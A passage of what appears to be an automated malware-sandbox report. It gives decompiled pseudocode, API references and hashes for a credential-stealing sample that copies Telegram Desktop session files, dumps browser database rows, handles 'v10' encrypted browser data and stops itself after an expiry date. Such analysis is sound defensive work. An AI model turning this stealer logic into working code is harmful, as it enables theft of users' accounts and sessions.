								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI( o|,?,?,004061B1,?,007C6F20,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, o|, o|,?,004061B1,?,007C6F20), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

o|, xrefs: 00405BE4
@p|, xrefs: 00405C71
8o|, xrefs: 00405C42
o|, xrefs: 00405C13
<, xrefs: 00405CD4
hiz, xrefs: 00405CF2

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: o|$8o|$<$@p|$hiz$o|
API String ID: 2415926151-2844005657
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

PE, xrefs: 004118AA
(, xrefs: 004117FA

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t2 =  &_a8; // 0x7c6520
				_t30 =  *0x41a40c; // 0x7c7fb0
				wsprintfA( &_v268, _t30, _a12,  *_t2);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x7c2868
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x0040941a
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Strings

h(|, xrefs: 0040945F
e|, xrefs: 0040941A, 0040941D

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: e|$h(|
API String ID: 3196222039-1538278537
Opcode ID: 1c8957950121198ff0230525564156e693af58e8a687dffe7e60fa441055b9ac
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 1c8957950121198ff0230525564156e693af58e8a687dffe7e60fa441055b9ac
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t2 =  &_a8; // 0x7c6520
				_t27 =  *0x41a07c; // 0x7c8110
				wsprintfA( &_v276, _t27, _a12,  *_t2);
				_t58 =  *0x41a294; // 0x7c6700
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095aa
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Strings

e|, xrefs: 004095AA, 004095AD

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID: e|
API String ID: 2177231248-2251635975
Opcode ID: 2b13814f49cb6c90ae8408b6036aac7cd0d64baebacf1a6257194b96e648feac
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 2b13814f49cb6c90ae8408b6036aac7cd0d64baebacf1a6257194b96e648feac
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 004068F0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
timestringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004068F0(void* __ecx, void* __eflags) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				char _v284;
				struct _SYSTEMTIME _v300;
				struct _SYSTEMTIME _v316;
				int _t45;
				char* _t52;
				intOrPtr _t57;
				void* _t66;

				E0040B720( &_v284, 0x104);
				_v300.wYear = 0;
				_v300.wMonth = 0;
				_v300.wDay = 0;
				_v300.wMinute = 0;
				_v300.wMilliseconds = 0;
				_v316.wYear = 0;
				_v316.wMonth = 0;
				_v316.wDay = 0;
				_v316.wMinute = 0;
				_v316.wMilliseconds = 0;
				_v20.dwLowDateTime = 0;
				_v20.dwHighDateTime = 0;
				_v12.dwLowDateTime = 0;
				_v12.dwHighDateTime = 0;
				GetSystemTime( &_v300);
				_t57 =  *0x41a60c; // 0x7c5010
				 *0x41aa24( &_v284, _t57);
				_t52 =  *0x41a104; // 0x7c5030
				sscanf( &_v284, _t52,  &(_v316.wDay),  &(_v316.wMonth),  &_v316,  &(_v316.wHour),  &(_v316.wMinute),  &(_v316.wSecond));
				SystemTimeToFileTime( &_v300,  &_v20);
				_t45 = SystemTimeToFileTime( &_v316,  &_v12);
				_t66 = _v20.dwHighDateTime - _v12.dwHighDateTime;
				if(_t66 >= 0 && (_t66 > 0 || _v20.dwLowDateTime > _v12.dwLowDateTime)) {
					ExitProcess(0);
				}
				return _t45;
			}

0x00406905
0x0040690c
0x00406915
0x0040691b
0x00406921
0x00406927
0x00406930
0x00406939
0x0040693f
0x00406945
0x0040694b
0x00406952
0x0040695b
0x0040695e
0x00406967
0x00406971
0x00406977
0x00406985
0x004069b5
0x004069c3
0x004069d7
0x004069e8
0x004069f1
0x004069f4
0x00406a02
0x00406a02
0x00406a0b

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
lstrcat.KERNEL32(?,007C5010), ref: 00406985
sscanf.NTDLL ref: 004069C3
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
ExitProcess.KERNEL32 ref: 00406A02

Strings

0P|, xrefs: 004069B5

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: 0P|
API String ID: 2797641603-941776065
Opcode ID: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction ID: e1bd8726115975e68c113ba4c939dbea9fdba7e28f8895f6eace496917ca047b
Opcode Fuzzy Hash: 7d7e2839d62a1b1f45abe4f978373fb08f06d061ffb6add98bc378f3cfdedde8
Instruction Fuzzy Hash: A531AEB5D1121CABCB58DF94DD85ADEB7B9AF48300F0085EAE10AA3150EB345B94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;

				_t2 =  &_a4; // 0x7c6f20
				_v8 = StrStrA( *_t2, _a8);
				if(_v8 != 0) {
					_t7 =  &_a4; // 0x7c6f20
					_t8 =  &_a4; // 0x7c6f20
					 *0x41a994("C:\Users\hardz\AppData\Roaming\Telegram Desktop\tdata\",  *_t8, _v8 -  *_t7);
					_t10 =  &_a4; // 0x7c6f20
					 *((char*)(_v8 -  *_t10 + 0x41ac88)) = 0;
					_v12 = _a8;
					_t14 =  &_v12; // 0x7c6f20
					_v16 =  *_t14 + 1;
					do {
						_t16 =  &_v12; // 0x7c6f20
						_v17 =  *((intOrPtr*)( *_t16));
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				_t5 =  &_a4; // 0x7c6f20
				return  *_t5;
			}

0x0040beba
0x0040bec4
0x0040becb
0x0040bed5
0x0040bed9
0x0040bee2
0x0040beeb
0x0040beee
0x0040bef8
0x0040befb
0x0040bf01
0x0040bf04
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x0040becd
0x00000000

APIs

StrStrA.SHLWAPI( o|,?,?,004061B1,?,007C6F20,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, o|, o|,?,004061B1,?,007C6F20), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

o|, xrefs: 0040BEFB, 0040BF04
%s%s, xrefs: 0040BF2A
C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, xrefs: 0040BEDD, 0040BF35, 0040BF44
o|, xrefs: 0040BEBA, 0040BED5, 0040BED9, 0040BEEB, 0040BECD, 0040BEBD, 0040BED8, 0040BEDC

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcpynwsprintf
String ID: o|$ o|$%s%s$C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\
API String ID: 1799455324-793053766
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

<, xrefs: 0040498F
@, xrefs: 0040499C
http, xrefs: 004049CC

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

@, xrefs: 0040728A
v10, xrefs: 0040724E

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

